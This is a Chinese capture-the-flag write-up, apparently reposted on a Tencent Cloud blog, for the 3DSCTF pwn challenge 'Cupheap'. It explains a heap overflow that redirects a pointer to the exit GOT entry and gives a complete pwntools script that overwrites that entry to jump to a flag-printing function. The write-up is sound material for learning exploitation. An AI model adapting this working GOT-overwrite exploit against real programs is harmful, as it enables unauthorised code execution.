首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >3DSCTF PWN —— Cupheap

3DSCTF PWN —— Cupheap

作者头像
用户1423082
发布2024-12-31 18:22:30
发布2024-12-31 18:22:30
880
举报
文章被收录于专栏:giantbranch's bloggiantbranch's blog

先看保护,只开了NX

代码语言:javascript
复制
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

程序一开始malloc了四次

在内存中的结构如下

我们看到这里有个溢出

因为上面申请了8个byte,这里可以输入0x1000,那么我们可以通过第一个溢出覆盖603070指针为got表。下次再fgets就可以写got表了,因为最后会调用exit,覆盖exit的got就行

其实这题的目标是直接返回到这个函数就行了

要进入漏洞函数,需要contracts为0x1100,当他为这个值我们再利用就行

我这里本地新建了个hell文件做测试,内容是flag{test}

代码如下:

代码语言:javascript
复制
# -*- coding: utf-8 -*-
from pwn import *

# context.log_level = "debug"

elf = ELF("./cupheap")

visitHell = 0x4008F7

while 1:
	p = process("./cupheap")
	p.recvuntil("Give up\n")
	p.sendline("1")
	recv = p.recvuntil("Choose one option")
	if "0x1100" in recv:
		# not 1,2,3 is ok
		p.sendline("6")
		p.recvuntil("Visit Mausoleum\n")
		p.sendline("4")
		p.recvuntil("what is the name their superpowers?\n")
		payload = "a" * 40 
		payload += p64(elf.got["exit"])
		p.sendline(payload)
		sleep(2)
		p.sendline(p64(visitHell))
		p.interactive()
	else:
		p.close()
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2017-12-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档